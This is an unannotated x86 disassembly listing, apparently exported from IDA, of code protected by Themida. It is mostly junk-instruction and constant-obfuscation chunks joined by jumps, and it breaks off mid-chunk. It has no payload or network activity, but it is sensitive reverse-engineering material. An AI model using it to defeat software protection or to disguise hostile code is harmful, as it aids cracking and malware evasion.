loc_59366E: ; CODE XREF: sub_58C17E+87B9j
mov eax, 587B7BD9h
push ebp
mov ebp, 760B4DB4h
xor eax, ebp
pop ebp
inc eax
push edi
jmp loc_591BD6
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_593683: ; CODE XREF: Themida_:005912F0j
pop ecx
add al, 0A2h
sub al, bl
jmp loc_58B0DA
; ---------------------------------------------------------------------------
loc_59368D: ; CODE XREF: Themida_:0058D957j
push esi
mov esi, 103853A5h
neg esi
xor esi, 3FA426FFh
sub esi, 4A13137Ch
jmp loc_591F52
; ---------------------------------------------------------------------------
loc_5936A6: ; CODE XREF: Themida_:005910EFj
push esi
mov esi, 4CCB3C44h
inc esi
or esi, 5BCD6DC7h
neg esi
add esi, 0DECE80D6h
sub ecx, esi
pop esi
add ecx, edi
push edx
mov edx, 7EFF030Fh
add ecx, edx
pop edx
push eax
mov eax, 428E4729h
add ecx, eax
jmp loc_5962E8
; =============== S U B R O U T I N E =======================================
sub_5936D6 proc near ; CODE XREF: sub_5916C4+400Dj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00591215 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059538A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005957FD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059681E SIZE 00000010 BYTES
sub esp, 4
mov [esp+0], eax
mov al, bh
push edx
jmp loc_5957FD
sub_5936D6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5921D8
loc_5936E4: ; CODE XREF: sub_5921D8:loc_593152j
not al
jmp loc_58B62C
; END OF FUNCTION CHUNK FOR sub_5921D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_5936EB: ; CODE XREF: sub_592D25-45D6j
xchg ecx, [esp+0]
not ecx
xchg ecx, [esp+0]
pop edx
xchg edx, [esp+10h+var_10]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_58A4CF
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_59370C: ; CODE XREF: sub_590B70-66C7j
push esi
mov esi, 49E64C75h
add ebp, esi
pop esi
pop edx
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
pop esp
mov [esp-4+arg_0], eax
jmp loc_58C50A
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F836
loc_593728: ; CODE XREF: sub_58F836-517Cj
mov edx, [esp+4+var_4]
add esp, 4
push 1637h
mov [esp+4+var_4], edi
jmp sub_595E21
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59373E: ; CODE XREF: sub_590467-3C40j
pop edi
push ebp
push ebx
mov ebx, 493C0696h
mov ebp, 493C0694h
xor ebp, ebx
pop ebx
add esi, ebp
jmp loc_592247
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_593755: ; CODE XREF: Themida_:00597462j
add esp, 4
push 61E3h
jmp loc_58E15C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_593765: ; CODE XREF: sub_58F5B5-1F60j
mov ecx, [esp-8+arg_4]
jmp loc_58DBA6
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_59376D: ; CODE XREF: Themida_:00597E00j
shl edx, 3
add edx, 767018C7h
jmp loc_593E68
; ---------------------------------------------------------------------------
loc_59377B: ; CODE XREF: Themida_:0058C62Bj
pop edx
xor dh, cl
jmp loc_59098C
; ---------------------------------------------------------------------------
loc_593783: ; CODE XREF: Themida_:loc_592369j
push si
mov si, 3EEEh
or bp, si
mov si, [esp]
push edx
jmp loc_58BB06
; ---------------------------------------------------------------------------
loc_593796: ; CODE XREF: Themida_:00592B23j
pop eax
add edx, 542535BEh
add edx, ebp
jmp loc_5931C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_5937A4: ; CODE XREF: sub_5916CB-31E5j
mov edi, [esp+4+var_4]
add esp, 4
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_5937B2: ; CODE XREF: sub_592D25-FD9j
or edx, eax
shl edx, 1
sub esp, 4
mov [esp-4+arg_0], ecx
mov ecx, 0FFFFFFFFh
sub [edi+24h], ecx
push [esp-4+arg_0]
mov ecx, [esp+0]
jmp loc_58DE8C
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_5937CF: ; CODE XREF: Themida_:0058DF35j
sub eax, edi
pop edi
jmp loc_58EB74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5937D7: ; CODE XREF: sub_58C17E+A929j
movzx cx, al
jmp loc_597291
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5937E0: ; CODE XREF: sub_5916C4+13CEj
add eax, 25622F7h
add eax, ebp
sub eax, 25622F7h
jmp loc_593AF1
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5937F1: ; CODE XREF: Themida_:0059364Bj
mov bh, 2Ch
add al, 1Fh
add al, bh
sub al, 1Fh
pop bx
sub al, 24h
jmp loc_58B661
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_593802: ; CODE XREF: sub_5916C4-494Ej
mov bh, ah
pop eax
jmp loc_592150
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_59380A: ; CODE XREF: sub_590010-3528j
add ebp, 613E0866h
sub ebp, 7461519h
pop esi
jmp loc_58F2B6
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_59381C: ; CODE XREF: Themida_:00595E76j
shr ebx, 4
sub ebx, 3B522B07h
ja loc_5926F3
xor ebx, 979DFFC1h
mov eax, ebx
jmp loc_59021D
; ---------------------------------------------------------------------------
loc_593838: ; CODE XREF: Themida_:00591E22j
mov ebp, 1E4008D8h
jmp loc_5918FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_593842: ; CODE XREF: sub_590467-4229j
add esi, edi
push ecx
mov ecx, 0F8D260Ch
shr ecx, 3
xchg esi, ecx
not esi
xchg esi, ecx
add ecx, 17233BCh
add ecx, 5F73773Fh
add esi, 322C6109h
sub esi, ecx
sub esi, 322C6109h
pop ecx
pop edi
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp+0]
mov [esp+0], eax
jmp loc_595CCD
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593886: ; CODE XREF: sub_58C17E+6FE2j
add ebp, edx
jmp loc_597E52
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59388D: ; CODE XREF: sub_5916C4-15E6j
add esp, 4
push ecx
pop ebp
mov ecx, [esp+16h+var_16]
push ecx
jmp loc_590FC6
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5065h
mov [esp], eax
mov eax, esp
add eax, 4
sub esp, 4
jmp loc_58F466
; =============== S U B R O U T I N E =======================================
sub_5938B9 proc near ; CODE XREF: sub_58F5B5+6867j
var_6 = dword ptr -6
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058A3B9 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058A45D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A890 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058AFF5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B398 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B549 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058B6E1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058BAFA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BD0B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C7DE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058D5B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D894 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DCE7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DF5B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058E115 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E1E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E321 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E6F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E88B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EAEC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F12F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058F2D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F72F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F760 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058F99E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058FD28 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058FEC9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005903BA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059047B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00590538 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005905F9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590688 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059082B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059178F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591EDB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591EF3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00591FB3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00592140 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005923C1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592420 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592700 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592804 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005929C8 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005933AE SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005938BF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00593BE4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00593D17 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594371 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005949A7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594F03 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595365 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00595B44 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00595BE2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596D04 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596E43 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596F09 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597492 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059769A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059791C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005979F6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597AD5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00597AEC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597C49 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597FA4 SIZE 0000000F BYTES
push ebx
jmp loc_58F12F
sub_5938B9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_5938BF: ; CODE XREF: sub_5938B9-176Ej
add edi, 4
xchg edi, [esp-8+arg_4]
pop esp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_590538
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
jmp loc_5917D0
; ---------------------------------------------------------------------------
loc_5938E3: ; CODE XREF: Themida_:00593AECj
add ebx, esi
pop esi
xchg ebx, [esp]
pop esp
jmp loc_596C26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_5938EF: ; CODE XREF: sub_595BDA+2198j
add esi, 80820Ch
mov edi, esi
pop esi
add ecx, edi
pop edi
xchg ecx, [esp-0Ch+arg_8]
pop esp
; END OF FUNCTION CHUNK FOR sub_595BDA
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5938FF: ; CODE XREF: sub_58C17E+49BDj
push 3343h
mov [esp+6+var_8+2], esi
mov esi, ebx
push 1FE1h
mov [esp+0Ah+var_C+2], edx
jmp loc_58EC51
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_593916: ; CODE XREF: Themida_:00596472j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59089C
loc_59391B: ; CODE XREF: sub_59089C-279Bj
push 438Ah
jmp loc_58DFB2
; END OF FUNCTION CHUNK FOR sub_59089C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_593925: ; CODE XREF: sub_5916C4+14AEj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp-4+arg_0]
pop esp
push edi
jmp loc_593B98
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5942E3
loc_59393E: ; CODE XREF: sub_5942E3-8868j
add ebx, esi
pop esi
xchg ebx, [esp+0]
pop esp
push eax
mov eax, esp
jmp loc_592540
; END OF FUNCTION CHUNK FOR sub_5942E3
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ecx
push ebx
jmp loc_597CD3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_593969: ; CODE XREF: sub_58B4D6+64A9j
sub eax, 589C7B72h
jmp loc_58E8F1
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_593973: ; CODE XREF: sub_595655-AD14j
add edx, ecx
pop ecx
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
pop esp
push ebp
jmp sub_59762D
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
mov ebx, esp
sub esp, 4
mov [esp], eax
jmp loc_58A525
; ---------------------------------------------------------------------------
loc_593998: ; CODE XREF: Themida_:0058FDC8j
mov eax, [esp]
add esp, 4
sub ebx, 6E037CCh
add ebx, eax
add ebx, 6E037CCh
jmp loc_5961E9
; ---------------------------------------------------------------------------
loc_5939B1: ; CODE XREF: Themida_:0058E069j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
push ebp
mov ebp, 542F23F9h
mov ecx, ebp
pop ebp
add eax, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_5933EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5942E3
loc_5939EA: ; CODE XREF: sub_5942E3+1Fj
sub edi, ebp
pop ebp
add ebx, edi
jmp loc_59283F
; END OF FUNCTION CHUNK FOR sub_5942E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5939F4: ; CODE XREF: sub_58F5B5+6041j
xchg ebp, ebx
xor ebx, 6EEBB81Fh
sub ebp, ebx
jmp loc_594356
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_593A03: ; CODE XREF: Themida_:00597F36j
mov [esp], ebp
mov ebp, esp
push esi
mov esi, 4
add ebp, esi
mov esi, [esp]
push 3AF3h
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
sub edx, 0FFFFFFFFh
add edx, 32BE0F0Ch
or ebx, edx
pop edx
sub ebx, 0FFFFEAFFh
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5921D8
loc_593A52: ; CODE XREF: sub_5921D8-6BABj
; Themida_:005973DBj
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_593C25
; END OF FUNCTION CHUNK FOR sub_5921D8
; ---------------------------------------------------------------------------
loc_593A62: ; CODE XREF: Themida_:loc_58BC9Aj
shr esi, 1
sub esi, 86EDEA3Dh
mov edx, esi
jmp loc_597A80
; ---------------------------------------------------------------------------
loc_593A71: ; CODE XREF: Themida_:00591782j
pop esi
push ebp
mov ebp, 2F5F5D08h
sub ebp, 61E244E7h
jmp loc_5954E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593A83: ; CODE XREF: sub_58C17E+4F90j
not edi
add edi, 32B2FB6h
mov eax, edi
pop edi
jmp loc_58A868
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
mov cx, [esp]
push 35BBh
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
jmp loc_59447B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_593AB7: ; CODE XREF: sub_5916C4+2602j
jmp loc_58D413
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_593ABC: ; CODE XREF: sub_595BDA-5E9Cj
and bh, 22h
jnz loc_594A46
push ecx
mov ch, 47h
jmp loc_58D149
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
push eax
mov bl, dl
loc_593AD0: ; CODE XREF: Themida_:005959D3j
sub bl, 1
dec bl
jmp loc_5940AE
; ---------------------------------------------------------------------------
loc_593ADA: ; CODE XREF: Themida_:00596DA4j
sub ebx, esi
pop esi
pop eax
sub esp, 4
mov [esp], esi
mov esi, 2
jmp loc_5938E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_593AF1: ; CODE XREF: sub_5916C4+2128j
add eax, 2DFA0828h
pop ebp
jmp loc_59309E
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_593AFC: ; CODE XREF: Themida_:00590C46j
mov esp, [esp]
inc word ptr [esp]
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_593B09: ; CODE XREF: Themida_:00597E33j
add esp, 4
dec bh
jmp loc_58F82A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593B13: ; CODE XREF: sub_58C17E+65BAj
mov esi, esp
jmp loc_5920F0
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_593B1A: ; CODE XREF: Themida_:0058B897j
add ebx, 52DC097Fh
add ebx, eax
sub ebx, 52DC097Fh
sub ebx, 4243074Eh
jmp loc_59194E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_593B33: ; CODE XREF: sub_595E21-4BD8j
or edx, 62D86549h
push edi
mov edi, 84070032h
sub edx, 2D4B7C94h
add edx, edi
push ebx
push ebp
jmp loc_595E36
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D236
loc_593B4E: ; CODE XREF: sub_58D236+4920j
sub ebx, 583D7BCEh
sub ebx, ebp
jmp loc_5904D1
; END OF FUNCTION CHUNK FOR sub_58D236
; ---------------------------------------------------------------------------
loc_593B5B: ; CODE XREF: Themida_:0058FE50j
mov ebx, 28195356h
xor ebx, 0B5E7322h
shl ebx, 4
jmp loc_5948EB
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push eax
push esp
pop eax
jmp loc_58FB09
; ---------------------------------------------------------------------------
loc_593B7A: ; CODE XREF: Themida_:loc_594B19j
xor al, 46h
mov ch, 0Dh
sub ch, al
jmp loc_58E8AA
; ---------------------------------------------------------------------------
loc_593B85: ; CODE XREF: Themida_:0059184Fj
jg loc_590877
shl edi, 5
jz loc_58FBAF
shl edi, 2
pop edx
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_593B98: ; CODE XREF: sub_5916C4+2275j
mov edi, esp
add edi, 4
jmp loc_5927E1
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
lodsb
add al, 0A2h
push edx
push ebx
mov bh, 17h
shr bh, 3
dec bh
add bh, 2Eh
mov dl, bh
pop ebx
push eax
jmp loc_5910A7
; ---------------------------------------------------------------------------
loc_593BBD: ; CODE XREF: Themida_:0058EC62j
xor edi, ebp
pop ebp
jmp loc_5913BC
; ---------------------------------------------------------------------------
loc_593BC5: ; CODE XREF: Themida_:0058DDB7j
pop esp
jmp loc_59086C
; ---------------------------------------------------------------------------
loc_593BCB: ; CODE XREF: Themida_:00595360j
pop ebx
sub bl, al
jmp loc_58B2F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_593BD3: ; CODE XREF: sub_5916CB+5187j
add edx, 0DBD7D8B5h
sub esi, 269B42BCh
jmp loc_593F93
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_593BE4: ; CODE XREF: sub_5938B9+46F5j
mov eax, 72C852D7h
add eax, 613A767Bh
inc eax
sub eax, 669B71E3h
add edi, eax
jmp loc_58E115
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_593BFB: ; CODE XREF: sub_5EC2E8-5703Fj
mov edx, esp
push ebp
mov ebp, 8E23BD1h
add ebp, 2D0752F8h
jmp loc_597613
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_593C0E: ; CODE XREF: sub_58F5B5-1EEAj
sub ebp, 4291057Dh
jnz loc_594BC3
jmp loc_597961
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
push eax
mov eax, 4
; START OF FUNCTION CHUNK FOR sub_5921D8
loc_593C25: ; CODE XREF: sub_5921D8+1885j
xchg ebp, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mov [esp-4+arg_0], ebx
push 7E51h
jmp loc_58B249
; END OF FUNCTION CHUNK FOR sub_5921D8
; ---------------------------------------------------------------------------
loc_593C38: ; CODE XREF: Themida_:005968AEj
push 24E2h
jmp loc_593D0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_593C42: ; CODE XREF: sub_590467-139Ej
mov ecx, 4
jmp loc_58A3E0
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_593C4C: ; CODE XREF: Themida_:0059478Fj
not al
and al, 0B7h
jno loc_594B19
jmp loc_59225D
; ---------------------------------------------------------------------------
mov [esp], ebp
mov cl, 0ADh
push ebp
; START OF FUNCTION CHUNK FOR sub_594654
loc_593C61: ; CODE XREF: sub_594654+60Aj
sub edi, 62B9F0CDh
add ebx, edi
pop edi
add ebx, 3B6C9EA0h
add ecx, 3E43252Bh
add ecx, ebx
sub ecx, 3E43252Bh
pop ebx
jmp sub_58F013
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
loc_593C84: ; CODE XREF: Themida_:0059474Cj
add edi, 4
xchg edi, [esp]
pop esp
push ebx
push edx
mov dh, 3Ah
push eax
mov al, dh
mov bl, al
pop eax
mov edx, [esp]
add esp, 4
mov cl, 93h
sub cl, bl
jmp loc_590F98
; ---------------------------------------------------------------------------
loc_593CA7: ; CODE XREF: Themida_:005955E3j
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov fs:[edx], ax
jmp loc_58F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_593CC1: ; CODE XREF: sub_5916C4+26A1j
shl esi, 7
neg esi
jno loc_593AB7
jmp loc_58F1B1
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
and bh, 22h
jnz loc_597668
movzx ax, byte ptr [edx]
jmp loc_58EA58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_593CE3: ; CODE XREF: sub_590467+4FB1j
add ebp, 83ABD5A8h
or ebp, 782F01D4h
jmp loc_58E495
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_593CF4: ; CODE XREF: sub_5EC2E8-5DC1Dj
add ebx, eax
push 3949h
mov [esp+28h+var_28], edi
mov edi, 2FB8467Bh
sub edi, 0F9DC1114h
push ebp
jmp loc_593EBE
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_593D0F: ; CODE XREF: Themida_:00593C3Dj
mov [esp], ebx
jmp loc_59720F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_593D17: ; CODE XREF: sub_5938B9-108Aj
mov edx, 0D6AFF97Eh
jmp loc_5979F6
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
push esi
jmp loc_59469D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_593D33: ; CODE XREF: sub_5916C4-2510j
pop eax
add bl, 0E6h
add al, 88h
add al, bl
sub al, 88h
pop ebx
push edx
jmp loc_58D557
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_593D44: ; CODE XREF: Themida_:00594D3Bj
push cx
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_593D4C: ; CODE XREF: Themida_:0058E870j
sub ebx, 34922172h
push 0
sub [esp], ebx
mov ebx, [esp]
jmp loc_592C51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_593D62: ; CODE XREF: sub_5916C4:loc_591CEEj
shr esi, 5
jmp loc_593CC1
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_593D6A: ; CODE XREF: Themida_:0058FB04j
push ecx
mov ecx, 4
sub edi, 1C1C4E25h
add edi, ecx
add edi, 1C1C4E25h
mov ecx, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
movsx ecx, ax
push 27A8h
mov [esp], ecx
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_593D9E: ; CODE XREF: Themida_:0058B591j
mov [esp], ebp
push 663F71A6h
pop ebp
shr ebp, 4
jp loc_593F88
sub ebp, 4D3B1F2Eh
jmp loc_594AD9
; ---------------------------------------------------------------------------
loc_593DBB: ; CODE XREF: Themida_:00595A3Cj
mov [esp], edx
jmp loc_590BDC
; ---------------------------------------------------------------------------
loc_593DC3: ; CODE XREF: Themida_:0058EE19j
; Themida_:0058FEF0j
pop ecx
push ebx
push edx
mov dl, 0ABh
mov bh, dl
jmp loc_5958F7
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 31CDh
mov [esp], ebp
mov ebp, esp
push eax
mov eax, 4
add ebp, eax
mov eax, [esp]
jmp loc_596B49
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
jmp loc_58FE01
; ---------------------------------------------------------------------------
loc_593DF8: ; CODE XREF: Themida_:00597774j
push esp
push dword ptr [esp]
pop eax
add esp, 4
push 6AC6h
mov [esp], esi
mov esi, 1DE1626h
shr esi, 5
xor esi, 0EF0B5h
sub eax, 0AC76770h
jmp loc_58A5F2
; ---------------------------------------------------------------------------
loc_593E23: ; CODE XREF: Themida_:00594799j
not ah
or ah, 12h
shl ah, 4
add ah, 0D1h
push ecx
mov cl, 0F0h
xor cl, 42h
shl cl, 6
shr cl, 3
jmp loc_58A873
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_593E3F: ; CODE XREF: sub_595BDA:loc_58DED8j
jmp loc_58B22C
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
loc_593E44: ; CODE XREF: Themida_:0058A768j
pop edx
push ebp
xor dword ptr [esp], 64F20A58h
pop ebx
xor ebx, 64F20A58h
jmp loc_58D65A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
